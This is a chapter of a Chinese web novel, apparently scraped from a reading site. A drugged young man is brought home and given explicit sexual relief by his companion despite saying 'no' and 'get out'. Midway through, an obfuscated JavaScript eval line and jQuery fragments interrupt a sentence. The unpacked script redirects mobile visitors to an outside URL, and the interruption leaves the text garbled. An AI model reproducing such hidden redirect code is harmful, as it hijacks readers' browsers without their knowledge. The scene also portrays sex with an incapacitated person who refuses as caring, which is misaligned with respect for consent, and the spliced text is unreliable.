44.药效

作品:《娑婆外传:盂兰古卷

    九十四想找阮玉山,没有别的目的。


    他找阮玉山,就只是想看阮玉山。


    好像只要见到阮玉山一眼,所有危机都能尘埃落定,即便自己眼下安危未知,只要阮玉山守在旁边,都无甚可惧了。


    他也不明白这是为什么。


    九十四驰骋在那罗迦的背上,呼啸的风声里他用仅存的一点意识给了自己一个答案:一定是迷药的作用。


    他曾见过被喂了药的自己的族人,他们在药物的作用下癫狂地沉沦,分明是因驯监的强迫而被迫繁衍,却由于药物显得理智全无,成为了只会服从欲/望和本能的动物。


    那罗迦像一道迅猛的疾风,在最短的时间里避开了整个燕辞洲遍布的人流,从来时的荒僻小道一径奔回易宅后山,再从暗道将九十四送回了四方清正。


    这时的阮玉山刚听完云岫的禀报,本拟着先等一个时辰,如若日落还不见九十四归家,便出去寻人。


    他的骨珠感知到九十四在自己西南方向的某个位置,并且性命无虞,原打算就当作九十四故意甩开了自己的人到别处散心,可到底还是坐不住。


    毕竟根据探子的消息,宅子外头至少还有一波人盯着九十四。


    燕辞洲可比目连村大得多,阮玉山在目连村感知到九十四的方位,基本可以毫不费力地把人揪出来,可是到了燕辞洲,方位也只是一个方位,即便是刺青血契,也无法指引他准确的找到九十四身在何处。


    他在书房里背着手踱步了两刻钟,最终决定带着那罗迦出去寻人。


    岂知一到院子,便见九十四刚从那罗迦背上跌跌撞撞地下来。


    西斜的落日洒满这个修葺工整的北方庭院,将右侧池塘的池水照得金灿灿的一片。


    九十四苍白的脸上浮现出一种不同寻常的淡红色,他险些从那罗迦的背上滚落,一个踉跄过后,眼角余光瞥见前头似乎有人进一步过来,打算伸手扶住自己。


    可惜距离太远,那人站在月洞门前。


    他扶住那罗迦的脊背站稳,在迷蒙的视野中一下子看见了阮玉山。


    是不同以往的,既不对他笑,也不开口同他打闹的阮玉山。


    可到底是见到阮玉山了。


    九十四的心像落地似的稳稳沉了下去,他的脑海现在是一团乱麻,看见阮玉山,他忽松了口气,自顾自地点头,冲对方轻声打了个招呼:“阮玉山。”


    他以为这声音很明显,其实小得阮玉山压根听不见。


    九十四浑身热得发慌,他伸手拽住自己的腰带,刚想扯开,又回忆起出门前阮玉山层将他一顿呵斥,说不准在外头赤条条地行走。


    九十四皱着眉头,长长叹了口气,突然觉得阮玉山这人真是不讲人情。


    自己已然难受成这样,阮玉山还要跑到他脑子里辖制他。


    他又是憋屈又是愤怒,因此抽了抽嘴角,一脸不忿地嘀嘀咕咕,用蝣语骂了阮玉山几句,左脚踩右脚,把鞋子边走边脱了下来。


    却是没再动自己的衣带。


    接着他看见了池塘里金光粼粼的水面。


    现在阮玉山在跟前了,九十四是脑子也不想动了,拳头也不想使了。反正有阮玉山,什么齐且柔齐且刚,要想杀他,先去找阮玉山的麻烦吧!


    九十四这会子要让自己舒坦舒坦。


    他踩掉了鞋袜,步履蹒跚走到池塘边,赤着脚,扑通一声跪下,弯了腰,伸手下去,要跟里头的锦鲤抢水喝。


    九十四伸直了胳膊一捞,捞起来一只小鱼苗。


    鱼苗在他掌心那汪水里扑腾,九十四感觉自己的心跳咚咚咚响,扑腾得比鱼苗还厉害。


    他又想抬头去寻一眼阮玉山。


    这回阮玉山没等他抬头,先到了他眼前。


    黑压压的影子遮住了从院墙上方斜照到九十四身上的所有的夕阳,阮玉山这才瞧见九十四耳后已是绯红一片。


    他看见九十四撑在池塘边,整个身体单薄纤细,摇摇欲坠,从被拉扯开的领口就能窥见已经挠红的锁骨。


    若他再不出手,九十四就要低头把手里的鱼苗给一口喝下去了。


    阮玉山一把攥住九十四的手腕,带着严厉的语气沉声问:“到哪里去了?”


    九十四手一抖,本就所剩不多的池水连带着鱼苗簌簌地滚落回了池塘。


    他将目光凝聚到阮玉山修长有力的五指上。


    明明自己浑身已是滚烫非常,可九十四依旧很清晰地感知到阮玉山手掌的温热。


    他盯着这只手,盯着阮玉山手背鼓起的青筋,追寻青筋的脉络一路看向阮玉山被护腕包裹得一丝不苟的小臂。


    阮玉山见他不说话,眼下又一片浮红,心中隐隐猜到了什么。


    正要松手去给九十四把脉,他的手忽然被九十四反过来抓住。


    接着,他眼睁睁看着九十四捧住他的手背,将脸微微一侧,闭着眼,朝他的掌心贴了过去。


    阮玉山指尖颤了颤。


    九十四偏着头,把脸在他的手心蹭了蹭,猝不及防发出一声低吟。


    阮玉山双唇紧抿,气不打一处来。


    他抬起另一只手,指尖按住九十四的手腕,摸到对方脉搏跳动的速度快得惊人。


    心中猜测八/九不离十。


    他二话不说,绕到九十四身后,把人拦腰抱起,只往屋子里去。


    月洞门外,云岫只听见院子里一声低喝:“谁也不许进来。”


    说话间九十四已经被丢进了床上。


    阮玉山面色阴寒,先探九十四的呼吸,又问:“吃了什么药?”


    九十四抓住他的手指,愣是一个字不吭,用干燥的嘴唇碰了碰阮玉山的指尖,随后望向他。


    透过窗格刺进房中的绚烂夕阳使得九十四恍惚了一下,他双目眸光一闪,似乎清醒了一瞬,又把阮玉山的手还回去。


    接着九十四往床内蹭了蹭,垂下眼,虚着气道:“阮玉山,我好像病了。”


    阮玉山杀人的心都有了。


    他握住九十四的大腿,当即便听到九十四一声痛哼,手心触到温柔湿润的一片衣料,阮玉山翻过手掌一看,自己刚才摸到的竟全是鲜血。


    他蹙了蹙眉,鬼使神差的,把沾了鲜血的手放到鼻下嗅了嗅。


    是兽药。


    比寻常媚药猛烈几十倍的兽药。


    阮玉山怒火中烧,蓦地站起来背着手在床边走了几步,压制住自己的怒气,再转回去伸出手指隔空点了点九十四,没有用,又恨恨瞪着九十四,想撒气都找不到人撒。


    他俯身凑近,捏住九十四的下颌,眼中是压也压不住的怒意,几乎咬着牙一字一顿地说:“你不听话。”


    言毕起身便要走开。


    九十四不知哪来的力气,伸出胳膊抓住他不放手,反省的话不会说,只晓得拽着他的手指喊:“阮玉山?”


    好像这会儿怕他生气了。


    阮玉山一把抽出手。


    身后床铺传来一声非常细微的困惑声。


    阮玉山对此视若罔闻,走到书桌边取了纸笔,走笔如飞地开了张药方单子,走到门外,递给那罗迦:“拿给他们。看住院门。”


    那罗迦叼着药单子跑了。


    然后他关上门,去柜子中取了数张锦帕,再回到床沿坐下。


    九十四背对着他,在床内蜷成一团,呼吸急促。


    他将九十四的身体扳过来,手刚放进被子,便被九十四挡住。


    九十四把他的手往被子外推:“……不。”


    阮玉山用了强。


    可探过去了,才察觉不对。


    ——九十四的身体有问题。


    用了那么猛的兽药,九十四竟然还是没什么反应。


    难怪这人难受那么久,宁可硬撑,也不自己动手。


    显然对方早就知道自己这处难言之隐,被阮玉山碰了,九十四一时有些恼怒的意思,又使劲推他:“……出去。”


    “这会子喊出去。”阮玉山在气头上,话说的虽是奚落的意思,但想着九十四这点隐疾,背后是否有些不可告人的往事也未可知,语气便不自觉轻缓了,责备也说得像哄人似的,“中人圈套的时候怎么不知道出去?”


    九十四横过眼珠子剜他。


    阮玉山可不怕他瞪,只管把胳膊伸向床头的柜子,从里头摸出两盒莹润的脂膏来。


    这本是天气冷了,府里的丫头们怕他突然北上来此,经不住风吹,为他备着擦手用的。


    阮玉山撕扯下一片衣角,给九十四大腿包扎过后,趁九十四不备,蓦地将其外侧一条腿拉开。


    脂膏盒的盖子被打开时与瓶身发出叮咚的撞击响,九十四忽一仰头,发出急促又快速的喘/叫。


    他一条腿伸在外头,屈起来,脚趾绻缩得隐隐泛白。


    另一条腿却和阮玉山的手一样,隐没在了被子下。


    深秋的被子又厚又重,却仍能看出中间位置随着阮玉山的胳膊大起大伏。


    九十四的额前沁出了细汗,密密地流淌下来,打湿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15355882|162328||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了眉睫,顺着眼角滑倒鬓发中。


    他声音渐渐哑了,明明叫得不多,只是喉咙里发出的低吟又快又短,偶尔夹杂着几声哭似的呛喘。


    九十四意识模糊,脑子里白茫茫的,只能隐隐约约、断断续续地思索:这是阮玉山哪根指腹的薄茧,怎么这么磨人;那又是阮玉山第几处指节,怎么比指骨宽大许多。


    阮玉山的另一只手还掐着他的下颌,九十四受不住了,一偏头,咬上阮玉山的虎口。


    刚咬下去,又怕自己控制不住力道,轻轻松了口,别开头去,看向只有空荡荡枕头的另一方。


    阮玉山倒是宁愿他咬自己的虎口。


    他担心九十四咬舌头,强行将九十四的脸别过来,看着对方牙关下微微伸出来的舌尖,为了以防万一,便把手指伸了进去。


    九十四的喘息混着本就短促的低吟变得含糊不清。


    每当他忍不了要合起牙关时,咬到的是阮玉山修长灵活的指骨。


    九十四不敢下嘴,只能微微张着双唇,任由阮玉山搅弄。


    他的思绪彻底混乱了。


    九十四双目失神,像抓住救命稻草似的抬手抓住阮玉山强健的小臂,朦朦胧胧间已分不清阮玉山的手究竟搅弄着几个地方。


    屋子里沉重的喘息交杂着非常隐晦的滑动声。


    九十四忽然挣扎了起来。


    他的指尖隔着几层柔软的布料抓挠阮玉山的胳膊,脚后跟把绸缎做的床褥踢皱了,眼底浮起一层潋滟的水光,汗水打湿的长发弯曲地贴在他脖颈之间,那些地方的皮肤早已因为阮玉山而变成了另一种靡靡之色。


    一声骤然的闷哼过后,整个院子寂静下来。


    阮玉山抽出手指,先用锦帕擦干净自己的指根,再去擦九十四嘴角被他弄出来的涎液。


    接着他将锦帕丢到地上,换了另一张,伸进被子里。


    九十四艰难地转动那双淡蓝色的眼珠,似乎还没回神,便开口喊:“阮玉山?”


    “嗯?”阮玉山神色如常,眉眼间不见波澜。


    他应声归应声,给九十四规规整整盖好被子,却作势要起身离开。


    九十四眼疾手快抓住他两根手指,湿润的眼睫慢吞吞扬起来,嘶哑着声音问他:“去哪?”


    平心而论九十四认为自己压根不依赖阮玉山,准确来说他不依赖任何人,可他现在就是不想阮玉山离开自己的视线。


    不止视线,阮玉山现在离开这张床他都不舒坦。


    九十四觉得这是药效没过,并非他想留住阮玉山,是药想留住阮玉山。


    药的意思又不是他的意思。


    如果现在床前的人不是阮玉山而是阮玉水,阮玉河,阮玉海,九十四理所应当地觉得自己都会像留阮玉山一样想留下任何人。


    因此他抓阮玉山也抓得底气十足,问也问得底气十足。


    阮玉山这会儿则还在因为他今天乱跑把自己跑出事的行径而不高兴,也没心思跟他斗嘴打趣,只冷着个脸说:“出去给你拿药。”


    九十四一动不动。


    阮玉山瞥着自己被抓住的手腕:“松开。”


    九十四问:“你要拿多久?”


    阮玉山发现这人脸皮是真厚。


    他无奈,只能撇下脾气却又没好气地回答:“就在院子外。”


    小厨房煎好了药便将药端来放在月洞门外,有阮玉山的吩咐,谁都不敢踏进来。


    九十四这才松手。


    一碗煎好的解药下了肚,九十四还是不得劲。


    他在心里掂量了一下,自己仍是非常不想阮玉山离开。


    九十四判断这是药效没解完,所以他大手一挥,虚弱又豪横地模仿阮玉山平日的语气说道:“再来一碗。”


    阮玉山是真想动手把他结结实实收拾一顿。


    “你当药是什么?想喝几碗喝几碗?”


    九十四瞅他一眼,又陷入沉默。


    “老老实实躺下睡觉。”阮玉山才懒得管九十四心里在嘀咕什么骂人的话,把药放在床头,镇山神似的坐守在床边,“等你休息好再算账。”


    九十四躺在被子里,看看阮玉山,又敛下眼睛,琢磨着怎么才能不让这人离开。


    想来想去,没想出法子,倒真把自己想困了。


    他的目光扫到阮玉山坐在床边时散落到被子外的一处衣角。


    九十四从被子下伸出两根指头,夹住阮玉山的衣角,默不作声扯进被窝里,攥在掌心。


    片刻后安心睡去。